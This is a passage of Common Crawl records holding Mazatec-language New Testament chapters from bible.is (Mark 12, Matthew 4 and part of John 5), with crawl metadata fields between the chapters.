jngo‑la̱ to̱n. Jesús kitsó‑la̱: ―¿Yá 'tse̱ i̱sén ko̱ 'í ra tjí'ta? Kitsó‑la̱: ―'Tse̱é jè César, jè ra xi̱ta̱xá ítjòn‑la̱ xi̱ta̱ Roma. 17'Kia̱á kitsò Jesús: ―'Ti̱‑la César jè ra 'tse̱ César ko̱ 'ti̱‑la Nainá jè ra 'tse̱ Nainá. Tà kjóxkón‑la̱ 'kia̱ nga kií'nchré koni 'sín kitsò Jesús. 18Jñà xi̱ta̱ saduceo ijchòtji̱ngií‑la̱ ñánda̱ tíjna Jesús. Jñà xi̱ta̱ kìi̱ mì kì makjiín‑la̱ nga ma faháya‑ila̱ jñà xi̱ta̱ ra ijye 'ken. Iskonangií‑la̱ Jesús, kitsò‑la̱: 19―Maestro, Moisés, 'koa̱á 'sín tsakájna xa̱jo̱n: Tsa 'kia̱ jngo xi̱ta̱ 'xi̱n ki̱yá ra mì kì 'se̱‑la̱ i̱xti ko̱ chjo̱ón‑la̱, jè ra ma 'ndse̱ mi'ken, jé ki̱xan‑ko̱ india‑ni chjo̱ón‑la̱ 'ndse̱, mé‑nì nga kata'se‑la̱ i̱xti, jè ra ya̱ ki̱chja̱‑nì a̱'ta 'tse̱ ndí mi'ken. 20'Koa̱á 'sín kjomà jngo 'ká, ñánda̱ ito ma‑ni xi̱ta̱ ra 'ndse̱ jo̱ó. Jè ra tíjna ítjòn, ixan‑ní, tanga mì kì ki'se‑la̱ i̱xti; ta 'koa̱á 'sín 'ken. 21Jè ra ma‑ni jò, jé ixan‑ko̱ chjo̱ón‑la̱ 'ndse̱. Ti̱'koa̱á 'keén‑te. Mì kì ki'se‑te‑la̱ i̱xti. 'Koa̱á ti̱'sín kjomà ra ma‑ni jàn. 22Ko̱ ta ngásòn kjomà kó nga ito xi̱ta̱ kìi̱. Ni̱jngo ra ki'se‑la̱ i̱xti. Nga ijyehe'tà‑ni kjoa̱, 'keén‑te jè chjo̱ón. 23'Kia̱ nga tsa kjoa̱áya‑ila̱ jñà xi̱ta̱ ra ijye 'ken, [koni 'sín sii̱], ñáa̱‑nì xi̱ta̱ kìi̱ ra ko̱ma kjòn‑ni chjo̱ón‑la̱, nga̱ ixan‑ko̱ ijyeé kó ito. 24'Kia̱á kiìchja̱ Jesús, kitsò‑la̱: ―Jiòn, kií ko̱ma‑ni nga maskáya‑no nga̱ mì kì 'ya jiòn kótsò jè xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá ko̱ mì kì 'ya jè nga'ñó ra tjín‑la̱ Nainá. 25'Kia̱ nga kjoa̱áya‑ila̱ mi'ken, mì tsa ti̱ kjoa̱bixan 'se̱‑nì. Nga̱ 'koa̱á 'sín kjòn ko̱ma jñà xi̱ta̱ koni jñà ìkja̱li̱‑la̱ Nainá ra tjín ya̱ ján ngajmi. 26Jè kjoa̱ 'tse̱ mi'ken nga kjoa̱áya‑ila̱, ¿a kjeé fatsjijin jiòn xa̱jo̱n‑la̱ Moisés ya̱ ñánda̱ tíchja̱ 'tse̱ yá na'yá ra títì? Nainá kitsó‑la̱ Moisés: \"'A̱n‑ná ra Nainá‑la̱ tsò‑na Abraham, Isaac, ko̱ Jacob.\" 27Jè Nainá mì tsa 'tse̱ mi'ken‑jìn. 'Tse̱é xi̱ta̱ ra títsa̱jnakon. Jiòn jiòn, taxki̱ 'ñó maskáya‑no. 28Jngo xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés kií'nchré‑la̱ Jesús nga nda kiìchja̱ 'kia̱ nga i̱nchijo̱ókjo. Ijchòkasi'ta chrañaá‑la̱, a̱kjòn iskonangi‑la̱, kitsò‑la̱: ―¿Ñáa̱‑nì kjo̱téxoma‑la̱ Nainá ra tíjna ítjòn? 29Kiìchja̱á Jesús, kitsò‑la̱: ―Jè kjo̱téxoma ra tíjna ítjòn tsò‑ní: \"Ti̱ná'ya xi̱ta̱ Israel, jè Nainá‑ná ra tíjna ítjòn‑ná, ta jè ta jngoó‑ni ra tíjna ítjòn‑ná. 30Ngi ko̱ó inìma̱‑li, ko̱ ngi ko̱ó kjo̱binachon‑li, ko̱ ngi ko̱ó kjo̱bítsjen‑li, ko̱ ngi ko̱ó nga'ñó ra tjín‑li nga tsjacha 'ti̱ìn jè Nainá ra tíjna ítjòn‑li.\" Jé ra̱kìi̱ kjo̱téxoma ra 'ñó tíjna ítjòn. 31Jè ra ma‑ni jò tsò‑ní: \"Ko̱'sín tsjacha 'ti̱ìn xi̱ta̱ xàngi̱i koni 'sín nga tsjacha ijo‑li.\" Mì ti̱ mé tjín‑isa‑ni kjo̱téxoma ra isa̱ xkón tjín koni jñà kìi̱. 32Jè xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá kitsó‑ní: ―Nda tjín, Maestro. Kjo̱hixi̱‑ní koni 'sín kanakjí. Nga jngoó ma‑ni Nainá, ko̱ mì ti̱ yá tjín‑ni ra kj'ií. 33Ko̱ nga isa̱á chjí‑la̱ nga jè Nainá, nga ngi ko̱ó inìma̱‑ná, ko̱ ngi ko̱ó kjo̱bítsjen‑ná ko̱ nga ngi ko̱ó nga'ñó‑ná nga tsjacha 'sie̱én, ko̱ nga ti̱'koa̱á tsjacha 'sie̱én xàngie̱é koni tsa ti̱jè‑nì ijo‑ná. Isa̱á chjí‑la̱ koni jñà nga'tsì cho̱ ra manga̱tsja Nainá nga tì ya̱ a̱sòn ímixa̱ tsje‑la̱. 34Jesús, 'kia̱ nga kijtse nga ndaá kiìchja̱ jè xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá, kitsó‑la̱: ―Mì ti̱ tse chija‑li koni 'sín nga Nainá ko̱tèxoma‑li. Ko̱, ni̱ì‑ti̱‑yá ra kjó'ñó‑ni ikon nga iskonangi-isa‑la̱. 35Jesús, 'kia̱ nga tíbakón‑ya ya̱ ndi̱tsin i̱ngo̱ ítjòn, iskonangi‑ní, nga kitsò: ―¿Mé‑ni ko̱tsò‑ni jñà xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá nga jè Cristo [ra xá si̱ìkasén‑ni Nainá] nga ya̱á nchrabá‑nì tje̱‑la̱ a̱'ta 'tse̱ xi̱ta̱xá ítjòn ra tsi'kìn David? 36Nga̱ jè David, ki̱í 'sín kitsò nga isìchi̱ya‑la̱ jè Inìma̱ Tsje‑la̱ Nainá: Jè Nainá kitsó‑la̱ jè ra tíjna ítjòn‑na: \"I̱ ti̱jna'tá‑ná ya̱ nga kixi̱‑na̱ skanda 'kia̱ nga ijye sikítsa̱jnangia ya̱ ndsa̱kì jñà ra xi̱ta̱ kondra̱‑li ma.\" 37Jè David, tsa 'koa̱á 'sín kitsò‑la̱ jè Cristo [ra xá si̱ìkasén‑ni Nainá] nga jé tíjna ítjòn‑la̱, ¿kó'sín ma‑ni nga tje̱‑la̱ ma? Nga'tsì xi̱ta̱ ra kjìn ma‑nioo̱, ngi tjín ikon nga 'nchré‑la̱ Jesús koni 'sín nga bakón‑ya. 38Jesús, 'koa̱á 'sín tsakón‑ya‑la̱ xi̱ta̱. Kitsò‑la̱: ―Ti̱kinda̱a ijo‑no a̱'ta 'tse̱ xi̱ta̱ ra bakón‑ya kjo̱téxoma‑la̱ Nainá ra tsikínda Moisés. Ra jñà, 'ñó tsjake nga jñà bimako̱ nikje ra ndajò kjòn. Ti̱'koa̱á 'ñó sasén‑la̱ nga nda kjòn jcha̱xkón 'kia̱ nga síkjáya‑la̱ xi̱ta̱ ya̱ a̱jin ndi̱tsi̱n. 39Ko̱ jñá bátsji íxile̱ ra i̱jncha ítjòn ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío, ko̱ nga jñà kítsa̱jna'ta ítjòn ímixa̱ ya̱ ñánda̱ nga bakjèn xi̱ta̱ ñánda̱ nga tjín 'sí. 40Ko̱ fa'án‑la̱ ni'ya‑la̱ jñà ndí íchjín ra ijye 'ken 'xi̱n‑la̱. A̱kjòn sí taxki̱ tseé fìko̱ 'kia̱ nga 'sín kjo̱chikon, mé‑ni nga nda xi̱ta̱ ki̱tjongi‑nì. Jñà xi̱ta̱ kìi̱, isa̱á tse kjo̱hi'in 'ki̱‑la̱. 41Jesús ya̱á tsikijna ya̱ kixi̱‑la̱ ñánda̱ tíjna kàxa̱ ra sinchá to̱n 'tse̱ i̱ngo̱. Tíkotsíjen‑la̱ xi̱ta̱ na̱xi̱ndá kó'sín nga síkíhijyo jè to̱n. Kjín xi̱ta̱ nchi̱ná ra tse to̱n tsjá. 42Ijchó jngo chjo̱ón jch'a̱n ra 'ñó i̱ma̱. Jò ndí to̱n i̱tsíñá tsikíhijyo ra chiba chjí‑la̱. 43Jesús kiìchja̱á‑la̱ xi̱ta̱ ra kotá'yá'ta‑la̱, kitsò‑la̱: ―'Koa̱á xin kixi̱‑no, jè chjo̱ón jch'a̱n ra̱kìi̱ ra 'ñó i̱ma̱, jé‑ní ra isa̱ tse to̱n kábíjna, nda mí 'koa̱‑ni koni jñà xi̱ta̱ ra i'ka. 44Nga̱ nga'tsì jñà xi̱ta̱ ra tjín‑la̱ to̱n, tà jé tsjá jè ra jnengi‑la̱, tanga jè ndí chjo̱ón i̱ma̱ ra̱kìi̱, jngó kjá kátsjá ijyeé nga'tsì ndí to̱n ra tíjna‑la̱ ra tísíjchá‑ni ijo‑la̱.\nSan Marcos 12","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Mark\/12","date":"2013-12-06T15:40:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052034\/warc\/CC-MAIN-20131204131732-00078-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000089406967163}","num_words":1235,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Inìma̱ Tsje‑la̱ Nainá kiìko̱ Jesús jngo i̱'nde a̱'ta xìn ñánda̱ nga nangi kixì nga iskó'ta jè xi̱ta̱‑ni̱í nga mejèn‑la̱ nga kátátsji‑jé. 2Ichán ni̱chjin ko̱ ichán ni̱tje̱n tsikijnachjan jè Jesús. 'Kia̱ nga kjomà a̱skan‑nioo̱ kjòhojó‑la̱. 3Jè xi̱ta̱‑ni̱í ra ma‑la̱ konda̱cha̱ ijchò kasi'ta chrañaá‑la̱ ñánda̱ tíjna Jesús, kitsò‑la̱: ―Tsa ngi kixi̱í kjoa̱ nga ji̱í‑ní ra I'ndí‑la̱ Nainá 'mì‑li, ko̱'tín‑la̱ jñà na̱jo̱ kìi̱ nga ni̱ño̱ katama. 4Tanga jè Jesús kitsó‑la̱: ―'Koa̱á 'sín tíchja̱ ya̱ Xa̱jo̱n‑la̱ Nainá, nga tsò: \"Mì tsa tà ki tsajmì ra ma chine kítsa̱jnakon‑ni jñà xi̱ta̱, ti̱'koa̱á kií kítsa̱jnakon‑ni nga'tsì 'én ra chja̱ Nainá.\" 5Jè xi̱ta̱‑ni̱í 'kia̱á kiìko̱ Jesús ya̱ Na̱xi̱ndá Tsje‑la̱ Nainá [ra 'mì Jerusalén]; isíkíjnasòn ya̱ ñánda̱ 'ñó 'nga ya̱ a̱sòn‑la̱ i̱ngo̱, 6kitsò‑la̱: ―Tsa ngi kjo̱hixi̱‑ní nga I'ndí‑la̱ Nainá 'mì‑li, ti̱kàtje̱n‑ngi ijo‑li, nga̱ 'koa̱á 'sín tíchja̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá nga tsò: Jè Nainá ki̱íxá‑la̱ jñà ìkja̱li̱‑la̱ mé‑ni nga si̱ìkinda̱‑li, nga ko̱ó tsja jtsa̱ba̱'ñó‑li, mé‑ni nga ni̱jngo na̱jo̱ sa̱téngi‑ni. 7Jesús kitsó‑la̱: ―Ti̱'koa̱á tjí'ta Xa̱jo̱n‑la̱ Nainá nga tsò: \"Kì tà chjàn jè chjí'tì jè ra Nainá‑li ma, jè ra tíjna ítjòn‑li.\" 8Jè xi̱ta̱‑ni̱í, india iko̱‑isa jè Jesús ya̱ a̱sòn nindo ra 'ñó 'nga 'ki, nga tsakón ijye‑la̱ nga'tsì na̱xi̱ndá ra tjín ya̱ i̱sà'nde ko̱ jñà kjoa̱jeya‑la̱, 9kitsò‑la̱: ―Ji̱í tsja ijye‑la nga'tsì kìi̱ tsa ki̱se̱n-xkó'nchi'tá‑ná ko̱ jcha̱xkón‑ná. 10'Kia̱á kitsò‑la̱ Jesús: ―Ti̱si̱'taxín‑ná xi̱ta̱‑ni̱í. 'Koa̱á 'sín tjí'ta Xa̱jo̱n‑la̱ Nainá nga tsò: \"Jcha̱xkín jè ra tíjna ítjòn‑li jè ra Nainá‑li ma, ko̱ ta jè ta̱jngoó ti̱sin‑la̱.\" 11'Kia̱á kijì jè xi̱ta̱‑ni̱í, nga tsasì'taxìn‑la̱ jè Jesús. A̱kjòn ijchó ìkja̱li̱‑la̱ Nainá ra isìsin‑la̱ Jesús. 12'Kia̱ nga kií'nchré Jesús nga nda̱yá tíjna'ya jè Juan ra tsatíndá xi̱ta̱, ya̱á kijì india‑ni ya̱ i̱'nde‑la̱ ñánda̱ 'mì Galilea. 13Tanga mì tsa ya̱ tsikijna ya̱ ñánda̱ 'mì Nazaret; ya̱á kiì kijna ñánda̱ 'mì Capernaum, jngo na̱xi̱ndá ra kjijna ya̱ a̱ndi‑la̱ ndáchikon ya̱ i̱'nde ra chja̱‑ni Zabulón ko̱ Neftalí. 14'Koa̱á 'sín kjomà mé‑ni nga itjasòn‑ni 'én ra tsikínda jè xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ kjotseé ra tsi'kìn Isaías nga kitsò: 15Ján nangi Zabulón ko̱ nangi Neftalí, ya̱ ñánda̱ fì ndi̱yá ra 'fahandi ya̱ ndáchikon ya̱ ra ijngoa ndáje̱ Jordán, ya̱ ñánda̱ tíjna nangi Galilea, ya̱ ñánda̱ tjíhijyo xi̱ta̱ ra mì tsa xi̱ta̱ judío. 16Jñà xi̱ta̱ na̱xi̱ndá ra̱kìi̱ ra jñò tjín kjo̱bítsjen‑la̱, kijtseé jngo ni'í ra 'ñó tse 'ki, ko̱ jñà xi̱ta̱ ra ya̱ tjímaya ndi̱yá kjo̱biya, kisìhiseén jngo‑la̱ ni'í ra kisìhisen‑la̱ kjo̱bítsjen‑la̱. 17Skanda ya̱á tje̱n‑nì nga tsikí'tsia̱ Jesús nga isìka'bí 'én‑la̱ Nainá nga kitsò: ―Ti̱kájno jé‑no, kì ti̱ tsja jé fatsji‑no. Ijyeé kjochraña ni̱chjin nga jcha̱a kó'sín batéxoma jè ra tíjna ngajmi. 18'Kia̱ nga tífì Jesús ya̱ a̱ndi ndáchikon 'tse̱ Galilea, jò xi̱ta̱ kijtse; jngo ra 'mì Simón ra ti̱'koa̱ Pedro 'mì‑te, ko̱ 'ndse̱ ra 'mì Andrés nga i̱nchisíkàtje̱n-ngindá na̱'ya‑la̱. Jñà xi̱ta̱ kìi̱, ti̱í bíxkó. 19Jesús kitsó‑la̱: ―Nchrabátji̱ngi‑ná, 'a̱án tsja‑no xá nga xi̱ta̱ kíxkóya ra 'a̱n ki̱ji̱'ta‑na koni 'sín nga bíxkó ti̱. 20Ndi̱to̱ón isíkáhijyo jè na̱'ya‑la̱ nga kiìtji̱ngi‑la̱ Jesús. 21'Kia̱ nga i̱nchifì‑isa, Jesús kijtseé‑te ra 'mì Jacobo ko̱ 'ndse̱ ra 'mì Juan; ya̱á títsa̱jnaya chitso‑la̱ ko̱ na̱'ìn‑la̱ ra 'mì Zebedeo nga i̱nchibíndayá‑ni jè na̱'ya‑la̱. Kiìchja̱‑la̱ Jesús nga ki̱tji̱ngi‑la̱. 22Ndi̱to̱ón kitsjin chitso‑la̱ ko̱ na̱'ìn‑la̱ nga kiìtji̱ngi‑la̱ Jesús. 23Jesús tsajme tíjngoó ya̱ nangi Galilea; tsakón‑ya ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío nga jngó jngó na̱xi̱ndá. Tsi'kéna̱jmíya 'én xi̱tse̱ ra nda tsò ra a̱'ta 'tse̱ Nainá koni 'sín batéxoma, ko̱ isinda‑ni ta mé 'chin ra tjín‑la̱ xi̱ta̱ nga ajò ma ijo‑la̱. 24Ina'yá‑la̱ a̱'ta 'tse̱ Jesús nga tíjngo ya̱ i̱'nde ñánda̱ 'mì Siria, ko̱ jñà xi̱ta̱ inchrabàko̱ó‑la̱ jñà xi̱ta̱ ra kiya ra kjìn sko̱ya 'chin tjín‑la̱, jñà ra ajò ijo‑la̱ ko̱ xi̱ta̱ ra inìma̱ 'cho‑la̱ ni̱í tjíjin inìma̱‑la̱, ko̱ tjín ra 'chin biyaxín tjín‑la̱, ko̱ xi̱ta̱ ra mì kì ma síkí'bi̱ ijo‑la̱. Jè Jesús isindaá‑ni nga'tsì xi̱ta̱ kìi̱. 25Kjín xi̱ta̱ kijìtji̱ngi‑la̱ Jesús ra ya̱ i̱'nde‑la̱ Galilea, ko̱ ra 'tse̱ na̱xi̱ndá ra te ma‑ni ra 'mì Decápolis, ko̱ ra 'tse̱ na̱xi̱ndá Jerusalén, ko̱ ra ya̱ 'tse̱ nangi Judea, ko̱ ra ya̱ 'tse̱ ra ijngoa ndáje̱ Jordán.\nSan Mateo 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/4","date":"2013-12-06T07:57:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163050081\/warc\/CC-MAIN-20131204131730-00026-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":647,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1'Kia̱ nga ijye kjomà a̱skan‑nioo̱, jngo 'sí‑la̱ xi̱ta̱ judío tíbitjo, ko̱ jè Jesús kijí 'sí ya̱ ján Jerusalén. 2Ya̱ Jerusalén tíjna jngo chrjó nandá ra 'mì Betesda; 'òn ma‑ni ngitjo̱ba̱‑la̱; ya̱á tíjna'ta chraña‑la̱ xo̱tjo̱ba̱ ñánda̱ bitjo ko̱ 'faha'sen‑ni forrè. 3'Ñó kjìn ma‑ni xi̱ta̱ ra kiya kjihijyongí ya̱ ngitjo̱ba̱‑la̱, ra xi̱ta̱ xka̱, ko̱ xi̱ta̱ tsá'yá ko̱ xi̱ta̱ ra mì kì ma síjtiya ijo‑la̱, nga i̱nchikoñá‑la̱ 'kia̱ nga máfangi nandá ra tjíya ya̱ chrjó nandá. 4Nga̱ jngo‑ró ìkja̱li̱ ra ta kjiá ta kjiá bitjojen nga síkáfangi nandá, ko̱ jè xi̱ta̱ ra 'faha'sen‑jin ítjòn ya̱ nandá 'kia̱ nga máfangi, manda‑ró‑ni ni̱'sín ta mé 'chin ra tjín‑la̱. 5Ko̱ ya̱á kjijna jngo xi̱ta̱ ra ijye kjo kan chrjo'òn jàn nó tjín‑la̱ nga kiya. 6Jesús, 'kia̱ nga kijtse nga ya̱ kjijna, ko̱ nga kií'nchré nga ijye 'ñó kjotseé kiya, kitsó‑la̱: ―¿A mején‑li nga ko̱nda‑ni? 7Jè xi̱ta̱ ra kiya kitsó‑ní: ―Ji̱ Na̱'ìn, mì tsa yá tjín‑na ra basìko̱‑na nga ma 'fáha̱'se̱n‑jiaa̱n ya̱ chrjó nandá 'kia̱ nga máfangi. 'Kia̱ nga mejèn‑na nga 'fáha̱'se̱n‑jiaa̱n, kj'ií síkijne‑na nga 'faha'sen‑jin ítjòn. 8Jesús kitsó‑la̱: ―Ti̱sítji̱in, chjíbí na̱chan‑yá‑li, ko̱ ti̱tjájme‑ni. 9Xi̱ta̱ ra̱kìi̱ ndi̱to̱ón kjonda‑ni, ko̱ iskábé‑ni na̱chan‑yá‑la̱ ko̱ maá tsajme‑ni. Jè ni̱chjin 'kia̱, ni̱chjin níkjáya‑ní. 10Jñà xi̱ta̱ judío kitsó‑la̱ jè xi̱ta̱ ra kjonda‑ni: ―'Ndi̱ 'ndi̱, ni̱chjin níkjáya‑ní, mì kì tjí'nde‑li nga kíko̱‑ni jè ra kitsjajnanì. 11Xi̱ta̱ ra̱kìi̱ kitsó‑ní: ―Jè xi̱ta̱ ra kásínda‑na, jè sabá ko̱kàtsò‑na: \"Tíxkó‑ni ra titsjajnasìn ko̱ ti̱tjájme‑ni.\" 12Jñà xi̱ta̱ kìi̱ 'kia̱á iskonangi‑la̱: ―¿Yá xi̱ta̱‑ni ra ko̱'sín kàtsò‑li: \"Tíxkó‑ni ra titsjajnanì ko̱ ti̱tjájme‑ni\"? 13Tanga jè xi̱ta̱ ra ijye kjonda‑ni mì kì be yá xi̱ta̱‑ni ra isinda‑ni, nga̱ jè Jesús itjokàjiín‑la̱ ya̱ ñánda̱ tjíhijyo jñà xi̱ta̱ kìi̱. 14A̱skan‑nioo̱, ya̱á iskajin india‑ni Jesús, ya̱ a̱ya i̱ngo̱ ítjòn, kitsò‑la̱: ―Ijyeé kamanda‑ni, tanga kì ti̱ tsja fatsji-jé‑ni, mé‑ni nga mì isa̱ 'ñó 'cho tjín kjoa̱ ra ko̱ma'tin‑ni. 15Jè xi̱ta̱ ra̱kìi̱, kiì 'kéna̱jmí‑la̱ jñà xi̱ta̱ judío nga jè Jesús ra isinda‑ni. 16Ta nga̱tjì‑la̱ kjoa̱ ra 'sín 'kia̱ nga ni̱chjin níkjáya, kií kjoa̱‑ni nga jñà xi̱ta̱ judío isìjtike Jesús nga tsikimatji̱ngi‑la̱ nga mejèn‑la̱ si̱ì'ken. 17Tanga Jesús kitsó‑la̱: ―Jè Na̱'ìn‑na̱ 'koa̱á 'sín tjín xá ra tí'sín ki'ta, 'koa̱á ma‑ni nga ko̱'sín tí'siaa̱n. 18'Koa̱á 'sín kjomà‑ni nga jñà xi̱ta̱ judío isa̱á 'ñó mejèn‑la̱ nga si̱ì'ken Jesús, mì tsa tà ki‑ni nga mì bexkón jè ni̱chjin níkjáya, kií‑ní nga̱ ti̱'koa̱á tsò‑te nga jè sabá‑ró Na̱'ìn‑la̱ jè Nainá, ko̱ Nainá 'sín‑te ijo‑la̱. 19Jesús 'kia̱á kiìchja̱ nga kitsò‑la̱: ―Ngi 'én kixi̱í ra xin‑no, jè ti, ni̱ ta mé ra ma 'sín ra ta kinda̱ 'tse̱, tà jé‑ní ra tsijen‑la̱ koni 'sín 'sín na̱'ìn‑la̱; nga'tsì ra 'sín jè ra na̱'ìn 'miòo̱, 'koa̱á ti̱'sín 'sín kjòn jè ti. 20'Koa̱á ti̱'sín jè Na̱'ìn‑na̱, 'ñó tsjake‑na ra I'ndí‑la̱ ma, ko̱ bakón ijye‑na nga'tsì kjoa̱ ra 'sín ra jè; ko̱ isa̱á tse kjo̱xkón ko̱kòn ñánda̱ nga tà 'koa̱á ko̱ma‑no ra jiòn 'kia̱ nga jcha̱a. 21Koni 'sín 'sín jè Na̱'ìn‑na̱ nga síkjaáya‑ila̱ jñà ra 'ken, nga síkítsa̱jnakon‑ni inìma̱‑la̱, 'koa̱á ti̱'sín 'sin‑te ra I'ndí‑la̱ 'mì‑na nga 'a̱án tsja‑te‑la̱ kjo̱binachon jè ra 'a̱n mejèn‑na nga tsja‑la̱. 22Jè Na̱'ìn‑na̱ mì kì ti̱ yá ra bíndajín‑la̱; 'a̱n ra I'ndí‑la̱ ma, 'a̱án isìnga̱tsja ijye‑na kjo̱hixi̱‑la̱ mé‑ni nga 'a̱n kindájín‑na, 23ko̱ mé‑ni 'koa̱ ti̱'sín kata'yaxkón‑na 'a̱n ra I'ndí‑la̱ ma koni 'sín nga 'yaxkón jè Na̱'ìn‑na̱. Jè ra mì kì bexkón‑na nga I'ndí‑la̱ Nainá ma, ti̱'koa̱á mì kì bexkón jè Na̱'ìn‑na̱ ra isìkasén‑na. 24'Ngi kixi̱í kjoa̱ ra ko̱xin‑no: Jè ra 'nchré‑na koni 'sín nga xiaa̱n, ko̱ makjiín‑la̱ a̱'ta 'tse̱ ra isìkasén‑na, tjín‑la̱ kjo̱binachon ra mì fehe'ta; ko̱ mì tsa ti̱ kjo̱hi'in ska̱nè‑la̱, nga̱ mì ti̱ ya̱ tíjna‑ni ñánda̱ tjín ra kjo̱biya, ijyeé ya̱ tíjna ñánda̱ tjín ra kjo̱binachon. 25Ngi kjo̱hixi̱í ra xin‑no: Nchrabá ni̱chjin, ko̱ 'ndi̱í‑ni, 'kia̱ nga jñà mi'ken kji̱'nchré 'én‑na̱ ra I'ndí‑la̱ Nainá 'mì‑na; ko̱ jñà ra kji̱'nchré, kítsa̱jnakon‑ní. 26Jè Na̱'ìn‑na̱, ti̱jé‑ni ra kjo̱binachon; ko̱ 'a̱n ra I'ndí‑la̱ ma, 'koa̱á ti̱'sín kitsjà‑te‑na nga ti̱'a̱án‑te‑na ra kjo̱binachon; 27ko̱ 'a̱án kitsjà‑naa̱ kjo̱téxoma‑la̱ nga 'a̱n kindájín‑la̱ xi̱ta̱, nga̱ 'a̱n‑ná ra I'ndí‑la̱ Xi̱ta̱ xin‑la̱ ijo‑na̱. 28Kì tà chjàn maxkón‑no kjoa̱ kìi̱, nga̱ ki̱jchò ni̱chjin nga kji̱'nchré 'én‑na̱ nga'tsì mi'ken ra kjihijyoyá ya̱ 'nchó mi'ken. 29Ko̱ jñà ra nda ki'sìn ki̱tjo i'nde‑ní nga 'ki̱‑la̱ kjo̱binachon; tanga jñà ra 'cho ki'siòo̱n ki̱tjo i'ndeé‑te‑ni nga tjábé‑la̱ kjo̱hi'in. 30'Mì kì mé ra ma 'siaa̱n ra ta kinda̱ tsa̱'a̱n. 'Koa̱á 'sín bindájiáa̱n koni 'sín tsò‑na jè Na̱'ìn‑na̱. Jè kjoa̱ ra 'a̱n bindájiáa̱n, kixi̱í tjín, nga̱ mì tsa ko̱'sín 'siaa̱n koni 'sín mejèn‑na; jé tísíhitjasòn koni 'sín mejèn‑la̱ jè Na̱'ìn‑na̱ ra isìkasén‑na. 31Tsa ti̱'a̱án tsja‑na 'én ra a̱'ta tsa̱'a̱n nga nda sìkíjnaa̱ ijo‑na̱, jè 'én ra chjàa̱, mì kì ko̱kjiín‑no tsa 'én kixi̱. 32Tanga tíjna ìjngo‑isa ra tsjá 'én ra a̱'ta tsa̱'a̱n, ko̱ beé‑ná nga jè 'én ra tsjá, ngi 'én kixi̱‑ní. 33Jión inikasén xi̱ta̱ ra ikjonangi‑la̱ Juan, ko̱ jè Juan kitsjá 'én‑la̱ ra a̱'ta 'tse̱ kjoa̱kixi̱. 34Tanga mì tsa kjo̱'ñó tjínè‑la̱ nga kj'ií xi̱ta̱ tsjá 'én ra a̱'ta tsa̱'a̱n. Ta kií ko̱xin‑najiòn 'én kìi̱ mé‑ni nga kítjo̱kajion kjo̱hi'in ra a̱'ta 'tse̱ jé‑no. 35Jè 'én ra kiìchja̱ Juan, 'koa̱á 'sín ngoya‑la̱ koni tsa jngo ni'í ra títì ko̱ ra tísíhisen; jiòn, ta chibaá ni̱chjin initsjako̱o jè 'én ra kiìchja̱ nga isìhisen‑no. 36Jè xá ra 'siaa̱n isa̱á 'ñó chjí‑la̱ koni jñà 'én ra kitsjà Juan. Nga̱ jè xá ra isìnga̱tsja‑na jè Na̱'ìn‑na̱ nga sìhitjásòo̱n, ti̱jé xá ra̱kìi̱ tsjá‑ni kjo̱hixi̱ ra a̱'ta tsa̱'a̱n nga kixi̱í kjoa̱ nga jè Nainá isìkasén‑na. 37Ti̱'koa̱á jé Na̱'ìn‑na̱ ra isìkasén‑na, tsjá‑te 'én ra a̱'ta tsa̱'a̱n, ni̱'sín jiòn, kjè kì na'yá‑la̱ jè jta̱‑la̱, ti̱'koa̱ kjè kì 'yaxkon jiòn kó'ki; 38ko̱ ni̱ mì tsa ya̱ tíjnajin 'én‑la̱ ya̱ inìma̱‑no, nga̱ mì kì makjiín‑no a̱'ta 'tse̱ ra isìkasén. 39Jiòn, ndaá chitá'yá jè Xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá, nga̱ 'koa̱á 'sín níkítsjen jiòn nga ya̱á sa̱kò‑no kjo̱binachon ra mì kì fehe'ta. Jè xa̱jo̱n ra̱kìi̱, ya̱á tsjá 'én ra a̱'ta tsa̱'a̱n, 40ko̱ mì kì nchrabátji̱ngi‑ná jiòn nga ko̱ma 'se̱‑no kjo̱binachon ra̱kìi̱. 41'Mì tsa jè ra mejèn‑na nga jñà xi̱ta̱ 'nga si̱ìkíjna‑na; 42nga̱ bexkoón‑no nga mì tsa ngi kixi̱ kjoa̱ nga tsjacha Nainá. 43A̱'ta 'tse̱é Na̱'ìn‑na̱ inchrabà‑na, ko̱ mì kì ma‑najiòn nga chjíbétjò‑ná; tanga tsa yá ra ta jè ki̱ì'tin‑la̱ ijo‑la̱ nga kj'i̱í, ta isa̱á jè chjíbétjò jiòn. 44¿Kó'sín ko̱ma‑ni nga ko̱kjiín‑najiòn? Nga̱ tà jé fatsjio nga nda kítjo̱ngio ya̱ ngixko̱n xi̱ta̱, ko̱ mì tsa jè fatsjio nga nda ki̱tsa̱jna ya̱ ngixko̱n Nainá ra ta jè ta̱ jngo 